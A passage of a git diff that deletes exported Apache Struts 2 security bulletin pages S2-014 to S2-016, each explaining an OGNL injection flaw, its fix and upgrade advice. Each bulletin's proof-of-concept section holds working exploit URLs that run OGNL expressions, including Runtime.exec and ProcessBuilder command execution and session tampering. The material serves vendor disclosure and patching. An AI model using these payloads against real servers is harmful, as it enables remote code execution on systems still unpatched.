-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-014</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-014.html">S2-014</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-014</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=31822584">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=31822584">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=31822584">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=31822584">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=31822584">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=31822584">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-014-Summary">Summary</h2>
-
-<p>
-</p><p>A vulnerability introduced by forcing parameter inclusion in the <em>URL</em> and <em>Anchor</em> Tag allows remote command execution, session access and manipulation and XSS attacks</p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Who should read this</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>All Struts 2 developers and users</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Impact of vulnerability</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>Remote command execution, remote server context manipulation, injection of malicious client side code</p>< [...]
-
-
-<h2 id="S2-014-Problem">Problem</h2>
-
-<p>Both the <a shape="rect" class="external-link" href="http://struts.apache.org/release/2.3.x/struts2-core/apidocs/org/apache/struts2/components/URL.html"><em>s:url</em></a> and <a shape="rect" class="external-link" href="http://struts.apache.org/release/2.3.x/struts2-core/apidocs/org/apache/struts2/components/Anchor.html"><em>s:a</em></a> tag provide an <em>includeParams</em> attribute. </p>
-
-<p>The main scope of that attribute is to understand whether includes http request parameter or not.  </p>
-
-<p>The allowed values of includeParams are:</p>
-<ol><li><em>none</em> - include no parameters in the URL (default)</li><li><em>get</em> - include only GET parameters in the URL</li><li><em>all</em> - include both GET and POST parameters in the URL</li></ol>
-
-
-<p>A request that included a specially crafted request parameter could be used to inject arbitrary OGNL code into the stack, afterward used as request parameter of an <em>URL</em> or <em>A</em> tag , which will cause a further evaluation. </p>
-
-<p>The second evaluation happens when the URL/A tag tries to resolve every parameters present in the original request.<br clear="none">
-This lets malicious users put arbitrary OGNL statements into any request parameter (not necessarily managed by the code) and have it evaluated as an OGNL expression to enable method execution and execute arbitrary methods, bypassing Struts and OGNL library protections.</p>
-
-<p>The issue was originally addressed by Struts 2.3.14.1 and Security Announcement <a shape="rect" href="s2-013.html">S2-013</a>. However, the solution introduced with 2.3.14.1 did not address all possible attack vectors, such that <strong>every</strong> version of Struts 2 before 2.3.14.2 is still vulnerable to such attacks.</p>
-
-<h2 id="S2-014-Proofofconcept">Proof of concept</h2>
-
-<ol><li>Open HelloWorld.jsp present in the Struts Blank App and add to one of the url/a tag the following parameter:
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
- includeParams="all"
-</pre>
-</div></div>
-Such that the line will be something look like this:
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:url id="url" action="HelloWorld" includeParams="all"&gt;
-</pre>
-</div></div></li><li>Run struts2-blank app</li><li>Open the following url, resulting in calc application opening on Windows (try ....exec('open%20.')} to open a Finder window on Mac OS):
-  <div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">http://localhost:8080/struts2-blank/example/HelloWorld.action?aaa=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Runtime@getRuntime().exec('calc')}</pre>
-</div></div></li><li>Open the following url to modify session content:
-  <div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">http://localhost:8080/struts2-blank/example/HelloWorld.action?aaa=1${%23session[%22hacked%22]='true'}</pre>
-</div></div></li><li>Open the following url to print out session content and in combination with the previous example introduce arbitrary code into the resulting HTML output:
-  <div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">http://localhost:8080/struts2-blank/example/HelloWorld.action?aaa=1${%23session[%22hacked%22]}</pre>
-</div></div></li></ol>
-
-
-<p>As you will notice, in this case, there is no way to escape/sanitize the malicious parameter, since it's not an expected parameter and even will not get evaluated the request parameters are processed. </p>
-
-<h2 id="S2-014-Solution">Solution</h2>
-
-<p>The URL rendering subsystem was changed to not pass any parameter name or value to OGNL evaluation.</p>
-
-<p>The MemberAccess component's allowStaticMethodAccess property is now immutable.</p>
-
-<div class="confluence-information-macro confluence-information-macro-note"><p class="title">Backward Compatibility</p><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>A small amount of very elaborated <em>URL</em> or <em>A</em> tag usages depending on the now disabled evaluation might produce unexpected results now.<br clear="none">
-Please, ensure that</p>
-<ol><li>all expressions that should get evaluated are explicitly introduced via <em>PARAM</em> tags within <em>URL</em> or <em>A</em> tags.</li><li>all expressions used in <em>PARAM</em> tags come from a sanitized input.</li></ol>
-</div></div>
-
-<div class="confluence-information-macro confluence-information-macro-warning"><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p><strong>It is strongly recommended to upgrade to <a shape="rect" class="external-link" href="http://struts.apache.org/download.cgi#struts23142">Struts 2.3.14.2</a>, which contains the corrected OGNL and XWork library.</strong></p></div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-015.html b/content/docs/s2-015.html
deleted file mode 100644
index b50dadf..0000000
--- a/content/docs/s2-015.html
+++ /dev/null
@@ -1,234 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-015</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-015.html">S2-015</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-015</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=31823638">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=31823638">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=31823638">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=31823638">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=31823638">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=31823638">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-015-Summary">Summary</h2>
-
-<p>
-</p><p>A vulnerability introduced by wildcard matching mechanism or double evaluation of OGNL Expression allows remote command execution.</p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Who should read this</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>All Struts 2 developers and users</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Impact of vulnerability</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>Remote command execution, remote server context manipulation, injection of malicious client side code</p>< [...]
-
-
-<h2 id="S2-015-Problem">Problem</h2>
-
-<p>Struts 2 allows define action mapping base on wildcards, like in example below:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;action name="*" class="example.ExampleSupport"&gt;
-    &lt;result&gt;/example/{1}.jsp&lt;/result&gt;
-&lt;/action&gt;
-</pre>
-</div></div>
-
-<p>If a request doesn't match any other defined action, it will be matched by <code>*</code> and requested action name will be used to load JSP file base on the name of action. And as value of {<code>1</code>} is threaten as an OGNL expression, thus allow to execute arbitrary Java code on server side. This vulnerability is combination of two problems:</p>
-<ul class="alternate"><li>requested action name isn't escaped or checked agains whitelist</li><li>double evaluation of an OGNL expression in <code>TextParseUtil.translateVariables</code> when combination of <code>$</code> and <code>%</code> open chars is used.</li></ul>
-
-
-<h2 id="S2-015-Proofofconcept">Proof of concept</h2>
-
-<h4 id="S2-015-Wildcardmatching">Wildcard matching</h4>
-<ol><li>Run struts2-blank app</li><li>Open the following url, resulting in dynamic action name resolution based on passed value of <code>#foo</code>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">http://localhost:8080/example/%24%7B%23foo%3D%27Menu%27%2C%23foo%7D</pre>
-</div></div>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">http://localhost:8080/example/${#foo='Menu',#foo}</pre>
-</div></div></li></ol>
-
-
-<p>As you can notice, action name is resolved based on user input and you can put any arbitrary code to perform attack.</p>
-
-<h4 id="S2-015-Doubleevaluationofanexpression">Double evaluation of an expression</h4>
-<ol><li>Open example.xml present in the Struts Blank App and change result of HelloWorld action to one below:
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;result type="httpheader"&gt;
-    &lt;param name="headers.foobar"&gt;${message}&lt;/param&gt;
-&lt;/result&gt;
-</pre>
-</div></div></li><li>Open HelloWorld.java and change <code>execute()</code> method as below:
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public String execute() throws Exception {
-    return SUCCESS;
-}
-</pre>
-</div></div></li><li>Run struts2-blank app</li><li>Open the following url (you must have a tool to check response headers)
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">http://localhost:8080/example/HelloWorld.action?message=%24{%25{1%2B2}}</pre>
-</div></div>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">http://localhost:8080/example/HelloWorld.action?message=${%{1+2}}</pre>
-</div></div></li><li>Check value of <code>foobar</code> header, it should be <code>3</code></li></ol>
-
-
-<p>As you can notice, passed value of <code>message</code> parameter was used to set value of <code>foobar</code> header and the value was double evaluated - first time when <code>${message</code>} was evaluated, secondly when parsed value (<code>${%{1+2</code>}}) was evaluated again.</p>
-
-<h2 id="S2-015-Solution">Solution</h2>
-
-<p>With the new version actions' names whitelisting was introduced and by default is set to accept actions that match the following regex:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">[a-z]*[A-Z]*[0-9]*[.\-_!/]*</pre>
-</div></div>
-<p>user can change the definition by setting up a new constant in struts.xml as below:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;constant name="struts.allowed.action.names" value="[a-zA-Z]*" /&gt;
-</pre>
-</div></div>
-
-<p>Double evaluation of passed expression was removed from <code>OgnlTextParser</code> which is used by <code>TextParseUtil.translateVariables</code>.</p>
-
-<div class="confluence-information-macro confluence-information-macro-note"><p class="title">Backward Compatibility</p><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>There should be no problems with migration from previous version.</p></div></div>
-
-<div class="confluence-information-macro confluence-information-macro-warning"><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p><strong>It is strongly recommended to upgrade to <a shape="rect" class="external-link" href="http://struts.apache.org/download.cgi#struts23143">Struts 2.3.14.3</a>.</strong></p></div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-016.html b/content/docs/s2-016.html
deleted file mode 100644
index 8511216..0000000
--- a/content/docs/s2-016.html
+++ /dev/null
@@ -1,195 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-016</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-016.html">S2-016</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-016</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=33293800">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=33293800">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=33293800">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=33293800">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=33293800">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=33293800">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-016-Summary">Summary</h2>
-
-<p>
-</p><p>A vulnerability introduced by manipulating parameters prefixed with "action:"/"redirect:"/"redirectAction:" allows remote command execution</p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Who should read this </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> All Struts 2 developers and users </p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Impact of vulnerability </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> Remote command execution </p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Max [...]
-
-
-<h2 id="S2-016-Problem">Problem</h2>
-
-<p>The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with "action:" or "redirect:", followed by a desired navigational target expression. This mechanism was intended to help with attaching navigational information to buttons within forms.</p>
-
-<p>In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or "redirectAction:" is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.</p>
-
-<h2 id="S2-016-Proofofconcept">Proof of concept</h2>
-
-<p>In the Struts Blank App, open following URLs.</p>
-
-<ol><li>Simple Expression - the parameter names are evaluated as OGNL.
-	<ol><li><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">http://host/struts2-blank/example/X.action?action:%25{3*4}</pre>
-</div></div></li><li><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">http://host/struts2-showcase/employee/save.action?redirect:%25{3*4}</pre>
-</div></div></li></ol>
-	</li></ol>
-
-
-<ol><li>Command Execution
-	<ol><li><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}</pre>
-</div></div></li><li><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}</pre>
-</div></div></li><li><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}</pre>
-</div></div></li></ol>
-	</li></ol>
-
-
-<h2 id="S2-016-Solution">Solution</h2>
-
-<p>DefaultActionMapper was changed to sanitize "action:"-prefixed information properly. The features involved with "redirect:"/"redirectAction:"-prefixed parameters were completely dropped - see also <a shape="rect" href="s2-017.html">S2-017</a>.</p>
-
-<div class="confluence-information-macro confluence-information-macro-warning"><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p><strong>It is strongly recommended to upgrade to</strong> <strong><a shape="rect" class="external-link" href="http://struts.apache.org/download.cgi#struts23151">Struts 2.3.15.1</a></strong><strong>, which contains the corrected Struts2-Core library.</strong></p></div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-017.html b/content/docs/s2-017.html
deleted file mode 100644
index df594f4..0000000
--- a/content/docs/s2-017.html
+++ /dev/null
@@ -1,185 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
